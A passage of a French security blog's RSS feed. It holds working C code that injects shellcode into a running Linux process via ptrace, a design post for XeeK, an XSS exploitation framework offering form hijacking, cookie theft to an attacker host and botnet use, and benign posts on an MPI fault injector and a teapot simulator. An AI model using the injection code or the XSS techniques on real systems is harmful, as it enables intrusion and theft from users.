<p>Il y a un petit détail dont je n&rsquo;ai pas parlé : l&rsquo;expérience montre que le shellcode inséré tel quel juste après l&rsquo;adresse de retour ne marche pas ; la fin du shellcode se retrouve écrasée pour une raison que je n&rsquo;ai pas encore bien comprise. Pour éviter ça, j&rsquo;ai introduit une petit décalage (delta) de quelques octets entre l&rsquo;adresse de retour et la fin du shellcode, afin de garantir qu&rsquo;elle ne sera pas touchée. Il faut juste prendre en compte ce décalage dans certains calculs, bref rien de très compliqué.</p>
<pre>  //Inject!
  inject(pid, shellcode, shellcode_size);</pre>
<p>Le shellcode est désormais prêt, place à l&rsquo;injection !</p>
<h4>L&rsquo;injection de code</h4>
<p>Voici enfin la routine qui effectue l&rsquo;injection.</p>
<pre>void inject(int pid, char * shellcode, int shellcode_size){

  long res;
  struct user_regs_struct regs;
  char * addr_shellcode;
  int i;

  //Attach to the process
  printf("[+] Attaching...n");
  res = ptrace(PTRACE_ATTACH, pid, NULL, NULL);
  if(res == -1){
    perror("Attaching");
  }</pre>
<p>Après s&rsquo;être attaché au processus, il faut impérativement l&rsquo;attendre, sans quoi il risque de ne pas être prêt.</p>
<pre>  //Wait for the process
  printf("[+] Waiting for process...n");
  waitpid(pid, NULL, 0);

  //Set option for interrupted syscalls
  res = ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESYSGOOD);
  if(res == -1){
    perror("Setting ptrace option");
  }</pre>
<p>Cette option n&rsquo;est pas obligatoire, mais est préférable dans le cas où le processus a été interompu en plein milieu d&rsquo;un appel système.</p>
<pre>  //Get the registers of the process
  res = ptrace(PTRACE_GETREGS, pid, NULL, &amp;regs);
  if(res == -1){
    perror("Getting registers");
  }</pre>
<p>Nous avons les registres du processus, nous pouvons maintenant les manipuler comme nous voulons. Nous commençons par calculer l&rsquo;adresse à laquelle le shellcode devra être chargé, puis nous sauvegardons l&rsquo;adresse de retour sur la pile</p>
<pre>  //Compute the address where the shellcode will be copied
  //We keep 4 bytes for old eip and a delta between this
  //and the end of the shellcode
  addr_shellcode = (char *) regs.esp - shellcode_size 
                    - DELTA_SHELLCODE_EIP_BAK - 4;

  //Save eip on the stack (esp orig - 4)
  res = ptrace(PTRACE_POKEDATA, pid, regs.esp-4, regs.eip);
  if(res == -1){
    perror("Saving eip");
  }</pre>
<p>Il faut maintenant copier le shellcode. Attention : lors des transferts de données, <code>ptrace()</code> copie les octets 4 par 4. Il faut donc faire attention lors de l&rsquo;itération, et ne pas oublier la fin du shellcode.</p>
<pre>  //Copy shellcode
  printf("[+] Copying shellcode to 0x%x...n", (int) addr_shellcode);
  for(i = 0; i &lt; shellcode_size/4; i++){
    res = ptrace(PTRACE_POKEDATA, pid, &amp;addr_shellcode[i*4], 
         (int) *((int*) &amp;shellcode[i*4])); //Copy 4 bytes each time
    if(res == -1){
      perror("Copying shellcode");
    }
  }
  if((shellcode_size % 4) != 0){
    res = ptrace(PTRACE_POKEDATA, pid, &amp;addr_shellcode[i*4], 
         (int) *((int*) &amp;shellcode[i*4])); //Copy the last 3- bytes if necessary
    if(res == -1){
      perror("Copying shellcode");
    }
  }</pre>
<p>Le shellcode a été copié, il ne reste plus qu&rsquo;à mettre à jour <code>esp</code> et <code>eip</code> en les faisant pointer sur le shellcode. En fait, nous décalons légèrement <code>eip</code> afin d&rsquo;être sûr de tomber au milieu des <code>nops</code>.</p>
<pre>  //Make eip and esp point to the shellcode
  printf("[+] Setting eip and esp...n");
  regs.eip = (int) addr_shellcode+2;
  regs.esp = (int) addr_shellcode;
  res = ptrace(PTRACE_SETREGS, pid, NULL, &amp;regs);
  if(res == -1){
    perror("Setting eip and esp");
  }</pre>
<p>Mission accomplie, plus qu&rsquo;à se détacher pour libérer le processus.</p>
<pre>  //Detach from the process
  printf("[+] Detaching...n");
  res = ptrace(PTRACE_DETACH, pid, NULL, NULL);
  if(res == -1){
    perror("Detaching");
  }</pre>
<p>Pour comprendre en détails les arguments de chaque appel à <code>ptrace()</code>, je vous conseille fortement de lire le manuel.</p>
<h3>Conclusion</h3>
<p>Ca y est, nous venons d&rsquo;arriver au bout de l&rsquo;injection. J&rsquo;espère que vous avez désormais une idée plus claire sur le fonctionnement général de l&rsquo;injection de code sous Linux. Cela m&rsquo;aura pris 3 jours pour arriver à un prototype fonctionnel, mais je ne suis vraiment pas déçu compte tenu du résultat. Si vous avez des remarques, n&rsquo;hésitez pas !</p>
<h3>Références</h3>
<ul>
<li>[1] <a href="http://www.hick.org/code/skape/papers/needle.txt">Linux X86 run-time process manipulation</a>, skape, Uninformed, 2003</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/projets/injecso-injection-de-so-sous-linux/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>XeeK, framework d&#8217;exploitation pour XSS</title>
		<link>https://www.segmentationfault.fr/projets/xeek-framework-exploitation-xss/</link>
		<comments>https://www.segmentationfault.fr/projets/xeek-framework-exploitation-xss/#comments</comments>
		<pubDate>Thu, 13 Nov 2008 21:27:15 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Développement]]></category>
		<category><![CDATA[Projets]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[faille web]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[projet]]></category>
		<category><![CDATA[XeeK]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=307</guid>
		<description><![CDATA[La faille XSS, ou Cross-Site Scripting, est certainement la plus répandue sur le Web. Tous les débutants dans le domaine de la sécurité informatique ou du hacking la connaissent et savent comment voler un cookie ou afficher un message d&#8217;erreur, mais pensent trop souvent à tort que cette faille se limite à cela (j&#8217;ai déjà [...]]]></description>
			<content:encoded><![CDATA[<p>La faille XSS, ou <em>Cross-Site Scripting</em>, est certainement la plus répandue sur le Web. Tous les débutants dans le domaine de la sécurité informatique ou du hacking la connaissent et savent comment voler un cookie ou afficher un message d&rsquo;erreur, mais pensent trop souvent à tort que cette faille se limite à cela (j&rsquo;ai déjà posté un <a href="http://www.segmentationfault.fr/securite-informatique/la-xss-cette-faille-meconnue/">article</a> sur le sujet). D&rsquo;un autre côté, ceux qui programment un minimum en JavaScript/Ajax savent que ce langage permet de faire des merveilles en matière de pages dynamiques et contrôle de navigateur, mais ignorent souvent les possibilités offertes pour une personne malveillante. C&rsquo;est à partir de ces deux constats que m&rsquo;est venue une idée qui est en train de se concrétiser, et qui tient en un mot : XeeK.<span id="more-307"></span></p>
<h3>[EDIT]</h3>
<p>Le projet a subit de nombreux changements depuis la publication de ce billet. J&rsquo;ai publié la première version du projet <a href="http://www.segmentationfault.fr/projets/release-de-xeek-v0-1b/">ici</a> ; en attendant un tutorial vous pouvez retrouver des informations plus à jour <a href="http://www.segmentationfault.fr/projets/conference-sur-xeek-a-la-ndh-2010/">dans ce billet</a>. Gardez à l&rsquo;esprit que les informations qui suivent (et particulièrement le jargon associé à l&rsquo;outil ainsi que les fonctionnalités) ne sont plus complétement valides&#8230;</p>
<h3>Le projet</h3>
<p>XeeK, pour <em>XSS Easy Exploitation Kernel</em>, est un projet dont l&rsquo;objectif est le suivant : démontrer la puissance de la XSS en proposant un outil pour exploiter facilement ce type de faille. Les premières idées qui ont engendré ce projet me sont venues cet été, mais c&rsquo;est uniquement depuis quelques semaines que j&rsquo;ai vraiment commencé à y travailler.</p>
<h3>Un noyau et des modules</h3>
<p>Certains me trouveront peut-être un peu ambitieux, mais mon but serait de faire de XeeK une sorte de <em>Metasploit</em> pour la XSS. Pour dire les choses autrement, l&rsquo;objectif serait de proposer un framework, c&rsquo;est à dire un ensemble de classes, ou de modules capables d&rsquo;interagir ensemble. En fait, si le K de XeeK signifie <em>kernel</em> (noyau) c&rsquo;est parce qu&rsquo;il sera effectivement composé d&rsquo;un noyau proposant les fonctionnalités génériques de base et d&rsquo;une suite de modules qui pourront s&rsquo;y greffer. Dans l&rsquo;idéal, ces modules pourront être développés par n&rsquo;importe qui. A titre de comparaison, considérez le noyau Linux et ses modules, ou bien Firefox et ses extensions.</p>
<h3>Architecture</h3>
<p>Concrètement, XeeK se composera d&rsquo;une interface Web déployée sur un serveur appartenant à un attaquant, disons hacker.com. XeeK étant censé faciliter l&rsquo;exploitation des failles XSS, il appartient à l&rsquo;attaquant de découvrir ces failles ; je n&rsquo;envisage pour le moment pas d&rsquo;intégrer un scanner de ce type dans l&rsquo;outil. Une fois une XSS trouvée sur un site quelconque, disons victime.com, l&rsquo;attaquant pourra utiliser l&rsquo;interface de XeeK afin de générer un exploit personnalisé et paramétrable. Après avoir défini l&rsquo;exploit, celui-ci pourra être intégré à un lien piégé exploitant la XSS sur victime.com. Il ne restera plus à l&rsquo;attaquant qu&rsquo;à faire cliquer la victime sur ce lien&#8230;</p>
<p>Dans le jargon XeeK, l&rsquo;attaquant commencera par créer une <em>session</em>, choisira sa ou ses <em>victimes</em>, et sélectionnera un <em>scheduler</em>, ou ordonnanceur. C&rsquo;est ce composant qui déterminera comment les actions de l&rsquo;exploit seront exécutées sur le navigateur de la victime. J&rsquo;envisage pour le moment deux types de schedulers :</p>
<ul>
<li><em>Statique</em> — toutes les actions de l&rsquo;exploit seront définies à l&rsquo;avance et intégrées &laquo;&nbsp;en dur&nbsp;&raquo; de façon définitive.</li>
<li><em>Dynamique</em> — l&rsquo;exploit chargé sur le navigateur de la victime ne contiendra pas les actions proprement dit, mais un loader qui sera chargé de récupérer les actions sur le serveur XeeK (hacker.com) de façon dynamique et transparente. Ainsi, l&rsquo;attaquant pourra modifier l&rsquo;exploit et suivre la progression de la victime en temps réel.</li>
</ul>
<p>Les actions exécutées chez les victimes seront susceptibles de retourner des résultats qui seront visualisables directement par le biais de l&rsquo;interface. En fait, XeeK cachera l&rsquo;aspect technique de l&rsquo;exploitation et sera conçu pour simplifier au maximum les choses à l&rsquo;attaquant. Plus précisément, l&rsquo;attaquant aura devant lui une interface ressemblant à un debugger, à partir de laquelle il lance son exploit, observe sa progression et visualise les résultats. La différence avec un vrai debugger est que cet exploit sera exécuté sur les victimes et non sur sa propre machine&#8230;</p>
<h3>Une application : BotNet</h3>
<p>Puisque XeeK supportera plusieurs sessions en simultanée, chacune supportant elle-même plusieurs victimes, on en arrive à une des applications potentielles de l&rsquo;outil : faire office de BotNet. Pour ceux qui l&rsquo;ignorent, un botnet est un réseau de machines zombies contrôlable par un attaquant via un protocole quelconque. Ici, il s&rsquo;agira de simples requêtes HTTP. La différence avec les &laquo;&nbsp;vrais&nbsp;&raquo; botnets est qu&rsquo;ici, le code malveillant s&rsquo;exécutera uniquement lorsque la victime aura son navigateur d&rsquo;ouvert sur la page piégée.</p>
<p>Pour aider à la propagation du botnet, la possibilité la plus simple est d&rsquo;utiliser une XSS permanente, c&rsquo;est à dire quand l&rsquo;injection de code est enregistrée en dur sur le site et affecte tous les visiteurs. Ainsi chaque visiteur tombant sur la page piégée rejoindra automatiquement le botnet à son insu et exécutera le même exploit que ses collègues. Tout cela grâce à une malheureuse petite XSS&#8230;</p>
<p>Imaginez qu&rsquo;un site très connu et utilisé par des milliers de visiteurs soit vulnérable à une XSS permanente. Avec XeeK, il devient possible de lancer une attaque de masse contre tous les visiteurs de la page.</p>
<h3>Fonctionnalités</h3>
<p>Qu&rsquo;est-ce que XeeK saura faire ? A vrai dire, les fonctionnalités définitives ne sont pas encore décidées (vu que les modules seront extensibles), mais voici un aperçu de ce que j&rsquo;envisage.</p>
<ul>
<li>Furtivité du point de vue du visiteur (le site exploité continue à fonctionner sans problèmes).</li>
<li>Exécution de code JavaScript arbitraire.</li>
<li>Envoi de requêtes asynchrones (Ajax) vers le site vulnérable. Une des applications pourraît être d&rsquo;exploiter des éventuelles failles XSRF (<em>Cross Site Request Forgery</em>).</li>
<li>Envoi de requêtes asynchrones vers d&rsquo;autres sites.</li>
<li>Détournement de formulaire. Exemple : lorsque la victime remplit un des formulaires de la page, tout son contenu est envoyé sur hacker.com de façon transparente.</li>
<li>Récupération de cookies.</li>
<li>Récupération du contenu de la page (code HTML vu par la victime).</li>
<li>Plus généralement, récupération de n&rsquo;importe quelle variable accessible par JavaScript et DOM.</li>
<li>Traceur de visiteur. L&rsquo;exécution de l&rsquo;exploit continue même si le visiteur change de page, chaque nouvelle page visitée étant loguée et accessible directement par l&rsquo;attaquant.</li>
<li>Simulation de clic sur des liens / boutons / n&rsquo;importe quel élément graphique des pages.</li>
<li>Fonctionne aussi bien en HTTPS qu&rsquo;en HTTP ; cela ne change absolument rien.</li>
</ul>
<h3>Technologies</h3>
<p>XeeK est pour le moment développé à l&rsquo;aide de PHP, JavaScript, Ajax et MySQL. Bien entendu, les langages liés tels que CSS et HTML sont également utilisés à foison. Pour ce qui est de la compatibilité des navigateurs, pour être sincère je n&rsquo;ai encore utilisé que Firefox. Soyons honnête ; je ne suis ni designer ni un pros des subtilités de chaque navigateur. Mais je tiens à préciser qu&rsquo;avant d&rsquo;effectuer une release, je ferais mon possible pour au moins que la partie &laquo;&nbsp;victime&nbsp;&raquo; de l&rsquo;outil fonctionne sur IE qui est toujours, il faut le rappeler, le navigateur le plus utilisé. Je vise au moins IE7, peut-être IE6 mais il ne faut peut-être pas trop en demander pour une 1ère release <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<h3>Release</h3>
<p>Je sens venir la question &laquo;&nbsp;<em>Quand XeeK sera-t-il publié ?</em>&laquo;&nbsp;. Je n&rsquo;ai malheureusement pas encore de réponse pour le moment. XeeK est encore au stade de prototype même si plusieurs fonctionnalités marchent déjà bien. Il me reste à concevoir la partie interface de l&rsquo;outil, améliorer deux/trois petites choses, tester la partie exploitation sous IE&#8230; Comme vous pouvez vous en douter je ne travaille pas sur ce projet à plein temps, j&rsquo;ai aussi des études. Pour donner une estimation, j&rsquo;espère pouvoir publier une première release avant 2009. Mais cela ne constitue pas une garantie&#8230; En effet, je préfère prendre mon temps pour bien faire les choses, plutôt que de sortir quelque chose de bancal le plus vite possible. Au pire, je sortirais une alpha ou béta avant sa vraie sortie.</p>
<p>XeeK sera publié sous license GPL (2 ou 3). En d&rsquo;autres termes, n&rsquo;importe qui pourra utiliser, développer et améliorer l&rsquo;outil à condition qu&rsquo;il publie ses travaux également sous GPL.</p>
<h3>Click and hack</h3>
<p>Certains me reprocheront peut-être :</p>
<blockquote><p><em>Tu n&rsquo;as pas honte, de mettre à disposition des scripts kiddies un outil aussi dangereux, où il suffit de cliquer pour pirater ?</em></p></blockquote>
<p>Je leur répondrai tout simplement non pour plusieurs raisons :</p>
<ul>
<li>Il existe des outils similaires encore lus puissants et plus simples à utiliser. Exemple : Metasploit. Personne ne se plaint de cet outil (enfin pas à ma connaissance) alors qu&rsquo;il permet de rooter une machine sans aucune connaissance technique. C&rsquo;est un outil utilisé par des professionnel pour le <em>penetration testing</em>.</li>
<li>Cet outil n&rsquo;est pas plus &laquo;&nbsp;dangereux&nbsp;&raquo; que les possibilités offertes par la faille XSS. Il essaye juste d&rsquo;utiliser ces possibilités au maximum.</li>
<li>En sortant cet outil et en le faisant connaître, j&rsquo;espère faire prendre conscience à plus d&rsquo;un que les failles XSS sont vraiment dangereuses, ce qui semble ne vraiment pas encore être le cas.</li>
</ul>
<p>Sur ce, je crois que j&rsquo;ai tout dit&#8230; Je vais continuer le développement de ce projet en espérant ne pas mettre trop de temps à le publier. Si vous avez des questions ou suggestions, les commentaires sont là pour ça !</p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/projets/xeek-framework-exploitation-xss/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Injecteur de fautes pour application distribuée</title>
		<link>https://www.segmentationfault.fr/projets/injecteur-fautes-parallele/</link>
		<comments>https://www.segmentationfault.fr/projets/injecteur-fautes-parallele/#comments</comments>
		<pubDate>Mon, 24 Mar 2008 13:10:43 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Applications]]></category>
		<category><![CDATA[Développement]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Projets]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[calcul distribué]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[projet]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/projets/injecteur-fautes-parallele/</guid>
		<description><![CDATA[Dans le cadre d&#8217;un projet scolaire, je travaille sur un projet concernant la sécurité des grilles de calcul. Rappelons qu&#8217;une grille de calcul désigne un ensemble d&#8217;ordinateurs interconnectés et qui ne sont pas nécessairement homogènes. Ce type d&#8217;architecture est utilisé majoritairement pour faire tourner des applications nécessitant une très grande puissance de calculs. Avec le [...]]]></description>
			<content:encoded><![CDATA[<p>Dans le cadre d&rsquo;un projet scolaire, je travaille sur un projet concernant la sécurité des grilles de calcul. Rappelons qu&rsquo;une grille de calcul désigne un ensemble d&rsquo;ordinateurs interconnectés et qui ne sont pas nécessairement homogènes. Ce type d&rsquo;architecture est utilisé majoritairement pour faire tourner des applications nécessitant une très grande puissance de calculs. Avec le temps, la taille de ces application tend à augmenter, donc les besoins en matière de sécurité également. Le but du projet sur lequel je travaille en ce moment est de concevoir un injecteur de fautes pour application distribuée. Cet injecteur doit permettre en quelque sorte de faire planter une application tournant en parallèle sur plusieurs machines, afin de mettre à l&rsquo;épreuve sa tolérance aux fautes. Ce billet présente rapidement l&rsquo;architecture de notre logiciel, qui est toujours en développement.</p>
<p>Pour concevoir une application parallèle, on utilise assez souvent la programmation par messages. Dans le cadre de notre projet, nous utilisons la bibliothèque <strong>LAM/MPI</strong> qui fournit toute une API permettant d&rsquo;envoyer des messages à des processus tournant sur des machines distantes. De plus, le but étant d&rsquo;injecter des fautes, nous avons choisit de provoquer ces fautes lors des envois et réceptions de messages. Ainsi nous pouvons facilement simuler aussi bien les pannes logicielles (déni de service) et matérielles (coupure de lien d&rsquo;un réseau, paquet perdu ou corrompu). Pour détourner les fonctions fournies par la bibliothèque LAM/MPI, nous utilisons la variable d&rsquo;environnement <strong>LD_PRELOAD</strong>. Cette variable des systèmes UNIX/Linux permet de charger dynamiquement une bibliothèque au lancement d&rsquo;une application. Le point intéressant est que cette bibliothèque peut redéfinir des fonctions qui existent déjà dans les autres bibliothèques, donc peut potentiellement les appeler tout en modifiant leur comportement.</p>
<p>LD_PRELOAD permet alors de modifier le comportement d&rsquo;une application tout en n&rsquo;ayant pas besoin de la recompiler ! Il est toutefois important de préciser que cette technique ne permet de détourner (<em>hooker</em>) que les fonctions définies dans des librairies dynamiques. C&rsquo;est un point crucial et qui nous a posé quelques problèmes. En effet nous utilisions au départ la librairie MPICH 1, et il se trouve que lorsqu&rsquo;une application est compilée avec, les appels MPI sont liés de manière statique. Un simple appel à la commande ldd permet de le voir. C&rsquo;est pourquoi nous avons choisis d&rsquo;utiliser LAM/MPI à la place.</p>
<p>Ainsi, nous avons développé une bibliothèque dynamique (fichier .so) dont le but est de venir d&rsquo;interposer entre l&rsquo;application parallèle et LAM/MPI. Cette bibliothèque (que nous avons nommé bibliothèque d&rsquo;interposition) redéfinit les fonctions MPI_Send() et MPI_Recv() en injectant des fautes comme des corruptions de données et des dénis de service. Les fautes ne sont pas générées de manière permanentes ; nous utilisons en plus un processus qui tourne en tâche de fond (démon) qui communique avec la librairie par l&rsquo;intermédiaire d&rsquo;un segment de mémoire partagé. Ce démon est en réalité un serveur utilisant CORBA. Son rôle est de rester en attente de requêtes et de dialoguer avec la librairie pour déclencher l&rsquo;injection de fautes. Il surveille également l&rsquo;application ainsi que le système par l&rsquo;intermédiaire de sondes logicielles afin de suivre en temps réel les valeurs de quelques variables, comme la charge CPU, l&rsquo;occupation mémoire, etc. Ces valeurs sont sauvegardées dans une base de données pour être retraitées plus tard par un module de statistiques.</p>
<p>Sur chaque machine tournent donc : une instance de l&rsquo;application distribuée, une instance de la bibliothèque d&rsquo;interposition, et une instance du démon. Mais en plus de tout cela, il faut être capable de déployer l&rsquo;application parallèle. Nous avons donc conçu un module dédié à cela, le simulateur. Il est contrôlable en ligne de commande ou via une interface graphique. Son but est de lancer l&rsquo;application parallèle, les démons et activer le détournement de fonction en exportant la variable LD_PRELOAD sur toutes les machines.</p>
<p>Ce projet, bien que relativement complexe, se révèle très intéressant. Cela nous a permis de découvrir et d&rsquo;utiliser des libraires et des technologies très utiles, comme CORBA, MPI, Boost, MySQL++. Nous utilisons également Flex et Bison pour la conception de l&rsquo;interpréteur de commandes du simulateur.</p>
<p>Au fut et à mesure du développement, je mettrai sans doute en ligne quelques billets exposant de façon plus détaillée la conception de certains des modules.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/projets/injecteur-fautes-parallele/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Teapot Colony Wars : Le premier simulateur de stratégies comportementales pour théières</title>
		<link>https://www.segmentationfault.fr/projets/teapot-colony-wars/</link>
		<comments>https://www.segmentationfault.fr/projets/teapot-colony-wars/#comments</comments>
		<pubDate>Mon, 04 Feb 2008 20:47:56 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[Applications]]></category>
		<category><![CDATA[Développement]]></category>
		<category><![CDATA[Projets]]></category>
		<category><![CDATA[3D]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[projet]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/dev/teapot-colony-wars-le-premier-simulateur-de-strategies-comportementales-pour-theieres/</guid>
		<description><![CDATA[Dans le cadre de mes cours de programmation et de modélisation orientée objets, il nous a récemment été demandé de réaliser un projet en binôme. A vrai dire, nous l&#8217;avons rendu aujourd&#8217;hui&#8230; Le but était de modéliser et de concevoir une application simulant l&#8217;évolution de colonies d&#8217;individus sur un terrain. Le sujet décrivait les règles [...]]]></description>
			<content:encoded><![CDATA[<p>Dans le cadre de mes cours de programmation et de modélisation orientée objets, il nous a récemment  été demandé de réaliser un projet en binôme. A vrai dire, nous l&rsquo;avons rendu aujourd&rsquo;hui&#8230; Le but était de modéliser et de concevoir une application simulant l&rsquo;évolution de colonies d&rsquo;individus sur un terrain. Le sujet décrivait les règles de la simulation et de fonctionnement du monde dans lequel les colonies seraient amenées à évoluer. L&rsquo;objectif n&rsquo;était pas tant de coder une belle interface avec une intelligence artificielle hors du commun, mais plutôt de s&rsquo;attacher à bien concevoir l&rsquo;application, en utilisant les techniques habituelles comme le langage UML et les Designs Patterns.</p>
<p><img src="http://sourceforge.net/dbimage.php?id=158263" alt="Screenshot du projet" hspace="10" vspace="10" width="237" height="148" align="right" /></p>
<p>Avec un ami, nous avons eu une idée commune : tant qu&rsquo;à faire une application de simulation, autant se faire plaisir et la réaliser en 3D. Fans des technologies libres, nous avons donc choisi OpenGL et Glut. Nous avions tous les deux une petite expérience en OpenGL, pour ma part ce fut mon deuxième projet C++/OpenGL, bien que je trouve bien plus complexe que le 1er. Étant donné que nous n&rsquo;avions pas des talents d&rsquo;artistes, nous avons choisi de faire simple pour ce qui était de la représentation du monde et des individus. Les adeptes de Glut ou plus généralement de la 3D connaissent probablement la fameuse <a href="http://fr.wikipedia.org/wiki/Th%C3%A9i%C3%A8re_de_l'Utah">Théière de l&rsquo;Utah</a> utilisée dans un certain nombre d&rsquo;applications 3D. Ce modèle étant déjà présent par défaut dans la bibliothèque GLUT, nous avons décidé de l&rsquo;utiliser pour représenter les individus de nos colonies. Et nous en avons profité pour baptiser notre projet «Teapot Colony Wars».<span id="more-14"></span></p>
<p>Nous avions le choix du langage, et nous avons choisi le C++ non seulement pour sa rapidité, sa portabilité, mais aussi parce que nous souhaitions progresser dans ce domaine. Et tant qu&rsquo;à faire, nous l&rsquo;avons développé dans le but de le diffuser sous licence GPL 2, pour qu&rsquo;il continue à vivre et évoluer si certains veulent le reprendre. De plus, nous avons vraiment eu la volonté de développer un projet en nous rapprochant du monde professionnel, tout en n&rsquo;utilisant que des logiciels libres. Nous avons utilisé Subversion, un excellent outil de gestion de versions qui nous a bien simplifié la tâche pour le développement, ainsi que Doxygen, pour la génération de la documentation. Le rapport de conception a été réalisé en LaTeX, et la compilation de l&rsquo;exécutable a été grandement facilité par l&rsquo;emploi des Autotools (AutoConf, AutoMake, &#8230;).</p>
<p>Au final, Teapot Colony Wars, c&rsquo;est :</p>
<ul>
<li><strong> 96 fichiers sources</strong> (uniquement les .h et .cpp)</li>
<li>Un diagramme de <strong>45 classes</strong></li>
<li>Plus de <strong>9600 lignes</strong> de code C++</li>
<li>Un délai de <strong>6 semaines</strong> pour réaliser le projet (pendant lesquelles nous avons eu des examens&#8230;)</li>
<li>Plus de <strong>280 heures</strong> de travail</li>
<li><strong>268 révisions</strong> dans le dépot Subversion</li>
<li>Une documentation PDF de <strong>449 pages</strong> générée par Doxygen</li>
<li>Un rapport de <strong>28 pages</strong> décrivant la modélisation et nos choix conceptuels</li>
</ul>
<p>Nous avons profité de la livraison du projet pour publier la version 1 sur Sourceforge.net. Voici quelques unes des caractéristiques de l&rsquo;application :</p>
<ul>
<li>Le monde est composé de plusieurs colonies, chacune ayant sa couleur.</li>
<li>Chaque colonie peut créer des individus qui possèdent des caractéristiques propres comme sa taille. Une colonie consomme de la nourriture pour créer un individu.</li>
<li>Le monde est composé d&rsquo;une grille de cellules qui ont chacune des propriétés. Certaines sont inaccessibles (murs), d&rsquo;autres contiennent de la nourriture qui se renouvelle au fur et à mesure de la simulation (certaines sont à renouvellement instantané, mais pas d&rsquo;autres). Certaines cases sont des couloirs et inaccessibles aux individus trop grands.</li>
<li>Les individus évoluent selon certaines stratégies comportementales que la colonie leur impose. Leur but est de trouver de la nourriture et de la ramener à la colonie. Mais à chaque pas, un individu consomme de la nourriture proportionnellement à sa taille.</li>
<li>Chaque individu ne peut voir que les 8 cases adjacentes et a une très petite mémoire : il ne peut se souvenir que de la dernière case qu&rsquo;il a franchie. Mais pour l&rsquo;aider, il peut déposer des phéromones sur son passage. Chaque colonie définit ainsi 3 phéromones qui ne peuvent être comprises que par ses individus. Chaque phéromone a une durée de vie et se dégrade au fur et à mesure, jusqu&rsquo;à disparaître.</li>
<li>Quand deux individus ennemis se croisent, il y a combat. C&rsquo;est le plus fort qui gagne ! Le vainqueur peut alors se nourrir du cadavre de ses adversaires.</li>
<li>L&rsquo;utilisateur peut à sa guise faire une offrande en déposant une source de nourriture sur le terrain.</li>
<li>Il était demandé de tester deux stratégies différentes pour les individus. Les algorithmes heuristiques, qui peuvent être simples mais souvent imparfaits, et les algorithmes génétiques, consistant à définir des gènes pour les individus et effectuer un brassage génétique de la population en sélectionnant les meilleurs.</li>
</ul>
<p>Les commandes souris et clavier du simulateur sont les suivantes :</p>
<ul>
<li> Pavé numérique (4, 6 8, 2) : déplacements horizontaux et verticaux</li>
<li>Molette ou touches + et &#8211; : zoom</li>
<li>Maintien de Ctrl et défilement de la molette (ou + et -) : inclinaison verticale</li>
<li>Maintien de Ctrl + Clic gauche ou droit : rotation à gauche ou à droite</li>
<li>Espace : Activer / enlever le mode pause</li>
<li>Clic gauche : effectuer une itération</li>
<li>Étoile (*) : donner une offrande aux individus, qui apparaîtra sur le curseur de sélection (tore en bleu clair)</li>
</ul>
<p><img src="http://sourceforge.net/dbimage.php?id=158255" alt="Screenshot du projet" hspace="10" vspace="10" width="248" height="155" align="left" />Nous sommes globalement très satisfaits de ce projet, car nous avons pu finir dans les temps, même si nous aurions aimé rajouter quelques fonctionnalités supplémentaires. Mais cela restera tout à fait possible étant donné la grande extensibilité de notre application. En effet, grâce à un usage intensif de toutes les techniques propres à la modélisation orientée objet, comme le polymorphisme et les designs patterns, nous avons construit un ensemble de classes génériques, qui peuvent s&rsquo;apparenter à un framework. Il est ainsi tout à fait possible de rajouter à moindre coût des nouvelles cases, des nouveaux types d&rsquo;individus, changer leur représentation (pour ceux qui n&rsquo;aiment pas les théières&#8230;), changer le système de combat, et même pourquoi pas rajouter de nouveaux mouvements (comme le saut ou la téléportation).</p>
<p>Si cela vous intéresse, vous pouvez télécharger la version 1.0 du projet, tel que nous l&rsquo;avons rendu à nous professeurs. Les sources sont disponibles, ainsi que les exécutables pour Linux et Windows. Attention toutefois pour ce dernier, il semble que la portabilité soit encore un tout petit peu imparfaite ; en effet nous n&rsquo;avons pas encore eu le temps de changer quelques détails qui peuvent bloquer la génération de l&rsquo;exécutable selon le compilateur utilisé. Mais nous allons bientôt remédier à cela&#8230;</p>
<p>Voici les liens pour accéder aux ressources du projet :</p>
<ul>
<li><a href="http://sourceforge.net/projects/colonywars/">Site du projet sur Sourceforge.net</a></li>
<li><a href="http://sourceforge.net/project/showfiles.php?group_id=213004">La page de téléchargement</a></li>
<li><a href="http://colonywars.svn.sourceforge.net/viewvc/colonywars/">Le dépot SVN accessible en ligne</a></li>
<li><a href="http://sourceforge.net/svn/?group_id=213004">Les détails pour effectuer un check-out du SVN</a></li>
<li><a href="http://colonywars.sourceforge.net/doc/">La documentation HTML en ligne</a></li>
</ul>
<p>Pour lancer l&rsquo;application sous Windows, vous avez juste à lancer l&rsquo;exécutable. Sous Linux, pensez toutefois à lancer l&rsquo;application en mode console pour éviter les surprises ; en effet, il faut que le dossier de textures se trouve dans le dossier courant.</p>
<p>Pour compiler le projet sous Linux, assurez-vous de disposer des bibliothèques pour le développement d&rsquo;application graphiques, en particulier Glut. Décompressez l&rsquo;archive dans un répertoire, puis tapez les instructions suivantes :</p>
<blockquote>
<pre>$ ./configure --prefix=$HOME</pre>
<pre>$ make</pre>
<pre>$ make install</pre>
</blockquote>
